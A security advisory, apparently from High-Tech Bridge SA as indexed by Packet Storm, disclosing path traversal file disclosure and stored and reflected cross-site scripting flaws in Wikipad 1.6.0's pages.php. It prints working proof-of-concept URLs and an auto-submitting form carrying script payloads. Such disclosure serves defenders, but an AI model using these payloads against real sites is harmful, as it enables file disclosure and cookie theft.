Wikipad 1.6.0 Cross Site Scripting / File Disclosure

2011-02-15T00:00:00
ID PACKETSTORM:98491
Type packetstorm
Reporter High-Tech Bridge SA
Modified 2011-02-15T00:00:00

Description

                                        
                                            `=====================================  
Vulnerability ID: HTB22827  
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_wikipad.html  
Product: Wikipad  
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )   
Vulnerable Version: 1.6.0  
Vendor Notification: 01 February 2011   
Vulnerability Type: File Content Disclosure  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/pages.php" script to properly sanitize user-supplied input in "id" variable. We can disclose content of ".txt" files on file system.  
  
The following PoC is available:  
http://host/pages.php?id=./../../../../../txt_file  
  
Also, we can change content of this file by using PoC:  
  
<form action="http://host/pages.php?action=edit&id=./../../../../../txt_file&title=test" method="post" name="main">  
<input type="hidden" name="data[text]" value='new content"><script>alert(document.cookie)</script>'>  
</form>  
  
<script>  
document.main.submit();  
</script>  
  
  
=====================================  
Vulnerability ID: HTB22826  
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_wikipad.html  
Product: Wikipad  
Vendor: Cherry-Design ( http://www.cherry-software.spb.ru/ )   
Vulnerable Version: 1.6.0  
Vendor Notification: 01 February 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "pages.php" script to properly sanitize user-supplied input in "data[text]", "id" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
1. Stored XSS:  
  
<form action="http://host/pages.php?action=edit&id=index&title=index" method="post" name="main">  
<input type="hidden" name="data[text]" value='text"><script>alert(document.cookie)</script>'>  
</form>  
  
<script>  
document.main.submit();  
</script>  
  
  
2. Cross-Site Scripting:  
http://host/pages.php?id=index"><script>alert(document.cookie)</script>  
http://host/pages.php?action=edit&id=27-01-2011"><script>alert(document.cookie)</script>  
  
`